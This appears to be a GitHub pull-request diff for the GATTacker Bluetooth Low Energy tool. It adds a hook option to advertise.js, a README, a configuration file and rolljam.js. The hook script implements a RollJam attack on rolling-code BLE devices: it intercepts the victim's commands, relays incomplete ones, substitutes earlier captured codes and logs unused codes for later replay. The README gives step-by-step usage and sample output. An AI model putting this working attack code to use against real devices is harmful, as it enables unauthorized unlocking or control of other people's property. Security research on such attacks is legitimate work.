Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 7 additions & 4 deletions advertise.js
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,7 @@ var options = new getopt([
['f' , 'funmode' , 'have fun!'],
['' , 'jk' , 'see http://xkcd.com/1692'],
['h' , 'help' , 'display this help'],
['w' , 'hooksfile=FILE' , 'hook function'],
]);
options.setHelp("Usage: node advertise -a <FILE> [ -s <FILE> ] [-S] \n[[OPTIONS]]" )

Expand All @@ -28,14 +29,17 @@ if ( !opt.options.advertisement) {
}

if (opt.options.help) {
options.showHelp()
process.exit(0)
options.showHelp();
process.exit(0);
}

if (opt.options.funmode) {
console.log('>>>>>>>>>>>>>>>>> MAY THE FUN BE WITH YOU! <<<<<<<<<<<<<<<<<<'.rainbow.inverse)
console.log('>>>>>>>>>>>>>>>>> MAY THE FUN BE WITH YOU! <<<<<<<<<<<<<<<<<<'.rainbow.inverse);
}

if (opt.options.hooksfile) {
hookFunctions = require('./hookFunctions/'+opt.options.hooksfile);
}

var devicesPath=process.env.DEVICES_PATH;
var dumpPath=process.env.DUMP_PATH;
Expand All @@ -58,7 +62,6 @@ if (opt.options.static) {
wsclient.write = function (peripheralId, serviceUuid, uuid) { console.log('static run write not defined in hooks ' + getServiceNames(serviceUuid, uuid)); };
wsclient.read = function (peripheralId, serviceUuid, uuid) { console.log('static run read not defined in hooks '+ getServiceNames(serviceUuid, uuid)); };
wsclient.notify = function (peripheralId, serviceUuid, uuid) { console.log('static run subscribe '+ getServiceNames(serviceUuid, uuid)); };

wsclient.write();

} else {
Expand Down
82 changes: 82 additions & 0 deletions hookFunctions/README.md
Original file line number Diff line number Diff line change
@@ -1 +1,83 @@
Example hook functions.

## RollJam hooking helper

Some devices use special commands that couldn't be understand without knowing their secrets, but also make the use of some kind of rolling code mecanisms to prevent against replaying attacks.

To play with rolling code attacks in BLE, as it's the case for RollJam attack against remote controls using rolling code, a generic scripts hooking helper ``rolljam.js`` has been provided here.

To use it, you can launch the ``advertise.js`` script as follows with the ``-w`` command after configuring the devices characteristics, and configuring also the ``RollJam.js`` commands configuration files:

```bash
# node advertise.js -a devices/********ba6d_********BA6D-.adv.json -s devices/*******ba6d.srv.json -w rolljam.js
[...]
<<<<<<<<<<<<<<<< INITIALIZED >>>>>>>>>>>>>>>>>>>>
Client connected: **:**:**:**:ce:78
>> Subscribe: **f0 -> **f2
>> Subscribe: **f0 -> **f3
>> Write: **f0 -> **f1 : 3984****************************8ccd
[RollJam] Keeping 1st cmd key part 1: 3984****************************8ccd
[RollJam] Playing incomplete cmd: 3984
******ba6d:**f0 confirmed subscription state: **f2
******ba6d:**f0 confirmed subscription state: **f2
[...]
>> Write: **f0 -> **f1 : 25***********************************2e
[RollJam] Keeping 1st cmd key part 2: 25***********************************2e
[RollJam] Playing incomplete cmd: 25
[...]
[RollJam] Keeping 2nd cmd key part 2: 25***************************ed
[RollJam] Playing 1st cmd key instead, part 2: 25******************************2e
Client disconnected: **:**:**:**:ce:78
```

To add the hook, please add the following lines in the characteristics you want to interact with:

```bash
{
"uuid": "**f0",
"characteristics": [
{
"uuid": "**f1",
"properties": [
"read",
"write"
],
"value": "0000000000000000000000000000000000000000",
"descriptors": [
{
[...]
}
],
"hooks": {
"dynamicWrite": "RollJamWrite"
},

```

To configure the command to hook, you can edit the ``RollJam.json`` in the ``hookFunctions`` directory as follows:

```bash
{ "commands" :
{ "3984" : { # substring of the command
"to" : "3984", # to replace with this command (exemple with imcomplete command)
"number" : 1 # command part 1
},
"25" : {
"to" : "25",
"number" : 2 # command part 2
}
}
}
```

The ``number`` field is an index of the command part/fragmentation number.

The 2nd session commands are kept in the ``dump/<device mac>.rolljam`` file as follows:

```bash
# cat dump/*********ba6d.rolljam
2018.07.09 10:49:52.052 | < W | **f0 | **f1 | 39***********************************be
2018.07.09 10:49:53.514 | < W | **f0 | **f1 | 25***********************************56
```

And could be replayed after with GATTacker, or readapted for nRF connect with ``gattacker2nrf.js`` to kept them as macros in the application to be replayed also.
11 changes: 11 additions & 0 deletions hookFunctions/RollJam.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
{ "commands" :
{ "3984" : {
"to" : "3984",
"number" : 1
},
"25" : {
"to" : "25",
"number" : 2
}
}
}
87 changes: 87 additions & 0 deletions hookFunctions/rolljam.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@
var fs = require('fs');
var colors = require('colors');
var utils = require('../lib/utils');

/*
* RollJam hook helper by @FlUxIuS
*/


// RollJam vars
var rolljam_cmd1=[];
var rolljam_cmd2=[];
var rolljam_ctr = 0;
var rolljam_ctr2 = 0;
var rjconfig = JSON.parse(fs.readFileSync('hookFunctions/RollJam.json'));

function getDateTime() {
var date = new Date();
var hour = date.getHours();
hour = (hour < 10 ? "0" : "") + hour;
var min = date.getMinutes();
min = (min < 10 ? "0" : "") + min;
var sec = date.getSeconds();
sec = (sec < 10 ? "0" : "") + sec;
var msec = date.getMilliseconds();
msec = (msec < 100 ? "0" : "") + msec;
var year = date.getFullYear();
var month = date.getMonth() + 1;
month = (month < 10 ? "0" : "") + month;
var day = date.getDate();
day = (day < 10 ? "0" : "") + day;
return year + "." + month + "." + day + " " + hour + ":" + min + ":" + sec + '.' + msec;
}

function RollJamLog(type, peripheralId, serviceUuid, uuid, data){
/*
* Logs only write commands in a special file with *.rolljam extension
* */
var dumpFile='dump/' + peripheralId + '.rolljam';
var toSave = getDateTime() + ' | ' + type + ' | ' + serviceUuid;
toSave += ' | ' + uuid;
toSave += ' | ' + data.toString('hex') + ' (' + utils.hex2a(data.toString('hex'))+ ')\n';

if (type === '< W') {
fs.appendFile(dumpFile, toSave, function(err) {
if(err) {
return console.log(err);
}
})
}
}

function RollJamWrite(peripheralId, service, characteristic, type, data, wsclient, callback) {
/*
* Capturing commands defined in the RollJam.json file and playing only commands of the first session
*/
datastr = data.toString('hex');
commands = rjconfig.commands
for(var key in commands){ // Looking for all defined commands substrings
value = commands[key];
if (datastr.substring(0,key.length) === key) {
if (rolljam_ctr === value.number-1) { // if a substring is found and it
console.log('[RollJam] Keeping 1st cmd key part '+value.number+': '.yellow + datastr.yellow.inverse);
rolljam_cmd1.push(data);
data = new Buffer(value.to, 'hex');
console.log('[RollJam] Playing incomplete cmd: '.yellow + data.toString('hex').yellow.inverse);
rolljam_ctr++;
} else { // Keeping 2nd session cmds and pushing first captured ones
console.log('[RollJam] Keeping 2nd cmd key part '+value.number+': '.yellow + datastr.yellow.inverse);
rolljam_cmd2.push(data);
RollJamLog('< W', peripheralId, service, characteristic, data);
data = rolljam_cmd1[value.number-1];
console.log('[RollJam] Playing 1st cmd key instead, part '+value.number+': '.yellow + data.toString('hex').yellow.inverse);
rolljam_ctr2++;

if (rolljam_ctr === rolljam_ctr2)
{ // At the end: reinit the RollJam process
rolljam_ctr = 0;
rolljam_ctr2 = 0;
}
}
}
}
callback(null, data);
}

module.exports.RollJamWrite = RollJamWrite;